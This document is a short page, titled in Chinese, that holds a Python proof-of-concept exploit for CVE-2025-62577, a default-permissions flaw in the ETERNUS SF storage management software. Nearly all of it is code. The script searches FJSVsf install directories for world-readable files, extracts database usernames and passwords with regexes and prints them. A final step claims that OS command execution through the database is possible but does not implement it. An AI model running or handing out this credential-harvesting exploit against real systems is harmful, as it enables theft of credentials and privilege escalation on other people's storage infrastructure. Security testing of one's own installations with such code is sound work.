CVE-2025-62577：ETERNUS SF存储管理软件默认权限不当漏洞

# CVE-2025-62577 PoC - ETERNUS SF Default Permissions Vulnerability # This PoC demonstrates how a low-privileged user can exploit # incorrect default permissions to obtain database credentials import os import sys # Step 1: Search for ETERNUS SF configuration files with weak permissions def find_eternus_config(): """ Search for ETERNUS SF configuration files containing database credentials Common locations include: - /opt/FJSVsf/*/config/ - /etc/FJSVsf/ - C:\Program Files\ETERNUS_SF\* """ search_paths = [ "/opt/FJSVsf", "/etc/FJSVsf", "/var/opt/FJSVsf", ] config_files = [] for path in search_paths: if os.path.exists(path): for root, dirs, files in os.walk(path): for f in files: fpath = os.path.join(root, f) # Check if file is world-readable (insecure default) mode = oct(os.stat(fpath).st_mode)[-3:] if mode[-1] in '4567': # world-readable config_files.append(fpath) return config_files # Step 2: Extract database credentials from config files def extract_credentials(config_path): """ Attempt to read database credentials from misconfigured files """ credentials = {} try: with open(config_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() # Look for common credential patterns import re user_match = re.search(r'(?:user|username|db_user)\s*[=:]\s*["\']?(\w+)["\']?', content, re.IGNORECASE) pass_match = re.search(r'(?:password|passwd|db_pass)\s*[=:]\s*["\']?([^"\'\s]+)["\']?', content, re.IGNORECASE) if user_match: credentials['username'] = user_match.group(1) if pass_match: credentials['password'] = pass_match.group(1) except PermissionError: print(f"[-] Permission denied: {config_path}") return credentials # Step 3: Main exploitation chain def exploit(): print("[*] CVE-2025-62577 - ETERNUS SF Default Permissions Exploit") print("[*] Searching for misconfigured ETERNUS SF files...") config_files = find_eternus_config() if not config_files: print("[-] No accessible config files found") return for cf in config_files: print(f"[+] Found accessible file: {cf}") creds = extract_credentials(cf) if creds: print(f"[+] Extracted credentials: {creds}") # Step 4: Use credentials to execute OS commands via DB # This would typically involve connecting to the database # and using features like xp_cmdshell or similar print("[!] Database access obtained - OS command execution possible") break if __name__ == "__main__": exploit()